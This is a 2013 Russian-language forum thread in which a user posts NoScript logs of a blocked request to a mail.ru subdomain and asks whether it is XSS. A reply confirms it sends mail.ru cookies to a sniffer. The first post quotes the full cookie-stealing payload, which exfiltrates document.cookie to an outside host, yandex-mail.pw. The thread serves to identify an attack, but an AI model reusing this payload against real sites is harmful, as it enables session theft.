XSS или не XSS?

Discussion in 'Песочница' started by DevilCoder, 5 Dec 2013.

  1. DevilCoder

    DevilCoder New Member

    Joined:
    31 May 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Скрин http://i.pixs.ru/storage/8/0/3/xsspng_1640134_9974803.png

    Данные с консоли

    1 ---
    [NoScript InjectionChecker] JavaScript Injection in ///data-mrc-config%22%27%3E%3E%3Cinput%3E%3Cscript%3Eimg.src=location.hash.slice(1)+document.cookie;//**/%3C/script%3E/*%3Cinput%3E%3Cp#http://yandex-mail.pw/sn/s.php?
    (function anonymous() {
    location.hash.slice(1)+document.cookie /* COMMENT_TERMINATOR */
    DUMMY_EXPR
    })

    2 ---
    [NoScript XSS] Отфильтрован подозрительный запрос. URL: [https://krugdoveriya.mail.ru/data-mrc-config%22%27%3E%3E%3Cinput%3E%3Cscript%3Eimg.src=location.hash.slice(1)+document.cookie;//**/%3C/script%3E/*%3Cinput%3E%3Cp#http://yandex-mail.pw/sn/s.php?]. Запрос последовал со страницы: [http://o5sms.ru/]. Отфильтрованный адрес: [https://krugdoveriya.mail.ru/data-mrc-config%20%20%3E%3E%20input%3E%20script%3Eimg.src%20LOCATION.hash.slice%201%20+DOCUMENT.COOKIE;//**/%20/script%3E/*%20input%3E%20p#5783861931061425911]

    3 ---
    krugdoveriya.mail.ru : server does not support RFC 5746, see CVE-2009-3555


    Интересно узнать, это реально XSS, или нет, и что она делает, ну хочет сделать?
     
  2. funny_kaplan

    funny_kaplan New Member

    Joined:
    28 Mar 2013
    Messages:
    43
    Likes Received:
    4
    Reputations:
    0
    xss, куки от мэйл.ру идут на сниффер. эта пассивка уже не работает.
     
  3. DevilCoder

    DevilCoder New Member

    Joined:
    31 May 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Спасибо, за ответ. Было интересно узнать. :)
    А насколько давно, она перестала работать, примерно хотя бы?
     
    #3 DevilCoder, 8 Dec 2013
    Last edited: 8 Dec 2013